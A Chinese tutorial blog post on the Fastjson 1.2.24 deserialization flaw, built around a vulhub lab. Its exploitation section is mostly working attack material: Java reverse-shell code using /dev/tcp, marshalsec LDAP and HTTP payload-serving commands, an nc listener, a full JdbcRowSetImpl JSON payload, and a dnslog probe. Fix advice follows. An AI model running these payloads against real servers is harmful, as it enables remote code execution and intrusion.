Fastjson反序列化漏洞详解

一、什么是序列化/序列化?

    序列化主要使用场景:

  1. 持久化内存数据
  2. 网络传输对象
  3. 远程方法调用(RMI)

二、什么是Fastjson?

fastjson介绍:fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。FastJson是啊里巴巴的的开源库,用与对JSON格式的数据进行解析和打包。

 Fastjson的特点:

  1. 速度快
  2. 使用广泛
  3. 测试完备
  4. 使用简单
  5. 功能完备

 JSON数据格式{"name":zy, "age":22, "flag":true, "gender":male, "address":cs}("key":value) 

三、Fastjson反序列化漏洞的原理与利用思路

  1. Fastjson在序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列。
  2. Fastjson在反序列化的时候,会调用成员变量的set方法,public修饰的成员全部自动赋值。

原理:由于它在反序列一个对象的时候会去自动调用这个对象的set方法,所以如果这个set方法中有一些危险的操作,那么就会导致漏洞的产生。

利用思路:上面说了在fastjson反序列化的时候会自动调用对象的set方法,所以我们就有了利用思路,如果我们可以找到一个类,并且这个类中有set方法,这个类的set方法中有一些敏感操作,并且每次运行任意java代码的时候又必须调用这个类,那我们就可以利用这个漏洞了。

经过大佬的总结,以下这几个类就是我们上面所说的类(这些类都是jdk中的,也就是说不管你运行什么样的代码,它都会调用下面这几个类):

  1. com.sun.rowset
  2. JdbcRowSetlmpl
  3. Templateslmpl
  4. com.sun.org.apache.xalan.internal.xsltc.trax

思考:Fastjson可以支持任意类的反序列化吗?

Fastjson反序列的方法有俩种:

  1. JSON.parseObject()返回实际类型对象
  2. JSON.parse()返回JsonObject对象

在序列化的时候,如果子类中包含接口或抽象类的时候,序列化后类型会丢失,所以fastjson为了解决这个问题,提供了一个自省(Autotype)功能,这个功能会给fastjson在序列化后的字符串前面加上类型{"@type":"com.zy.json.User","age":33,"flag":false,"name":"zy"}。

这样在反序列化的时候就可以找到所属的类,也就导致fastjson可以支持任意类的反序列化。

四、靶场搭建

  1. 我们需要准备俩台虚拟机,一台虚拟机里面必须装有docker,这台虚拟机为靶机,然后用docker去拉取vulhub靶场,以vulhub靶场中的/fastjson/1.2.24-rce漏洞为例,docker安装教程与靶场拉取教程:https://vulhub.org/#/docs/
  2. 另一台虚拟机为kali作为攻击机

五、漏洞利用流程

  1. 首先我们使用java需要编写一个恶意代码用于反弹shell
    public class LinuxRevers{
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/自己用于反弹虚拟机的ip/反弹端口 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
            }
        }
    }
    
  2. 将上面编写的恶意代码编译后放在我们的攻击机kali当中(注意:kali中的jdk版本必须和编译这个恶意代码的jdk版本一致,如不一致务必请切换kali中的jdk版本)。

  3. 在我们的kali中我们需要启动一个LDAP服务(LDAP服务的搭建自己网上搜去,简单着呢):

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://kali的IP:端口/#LinuxRevers" 9473

    启动LDAP服务的目的就是为了让LDAP服务去引导我们的攻击网站,引导它去访问我们的http服务并且下载我们的恶意软件

  4. 所以我们还需要在我们刚才存放恶意代码的目录下开启一个http服务:

    python -m http.server 8089

    这样,当目标服务器访问我们的LDAP服务时,就会跳转到我们的http服务上去下载我们的恶意代码。

  5. 在去开一个用于接收反弹shell的端口:

    nc -lvp 9001
  6. 现在一切准备工作都做好了,只欠东风!上面所说的去利用LDAP服务去诱导目标服务器下载恶意代码,那么问题来了,我怎么去让目标服务器去访问我们的LDAP服务呢?我们其实可以用BP去构造一个数据包然后发给服务器,让服务器去访问我们的LDAP服务,当我们把下面构造好的数据包发送之后,我们就会在刚才用nc监听的端口那里看到反弹过来的shell了。  

    POST / HTTP/1.1
    Host: 43.129.135.123:8090(你的靶机ip加端口)
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Content-Length: 154

    {
         "b": {
              "@type": "com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName": "ldap://192.138.152.128:9473(你开启LNAP服务攻击机的ip加监听端口)/LinuxRevers",
              "autoCommit": true
         }
    }

  7. 整个利用链:
    (1)本次攻击流程主要使用了JDK库中的JdbcRowSetlmpl类
    (2)JdbcRowSetlmpl在反序列化时会自动调用setDataSourceName方法与setAutoCommit方法
    (3)setDataSourceName方法会将DataSource的值赋为我们上面数据包中的值:ldap://192.138.152.128:9473/LinuxRevers
    (4)setAutoCommit方法会调用connect()方法
    (5)connect()又会调用lookup()连接到LDAP/RMI服务器:

    DataSource ds = (DataSource)ctx.lookup(getDataSourceName());

        (6)下载恶意代码到本地,执行,攻击发生

六、漏洞挖掘思路

  1. 找到它发送json序列化数据的接口
  2. 判断它是否使用fastjson:
    (1)非法格式报错:
    利用BP去发送一些非法格式,如:{"x":"       它的返回包中可能会直接暴出来它的java包名
    (2)使用dnslog探测
    {"x":{"@type":"java.net.lnet4Address","val":"xxx.dnslog.cn"}}
    如果在dnslong服务器那有回显,那就证明它使用了fastjson
  3. 扫描工具:https://github.com/zilong3033/fastjsonScan

七、漏洞修复

  • 升级JDK
  • 升级Fastjson到最新版
  • 使用安全产品过滤
  • 更换其他序列化工具,如Jackson、Gson。

八、免责声明

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

  • 12
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值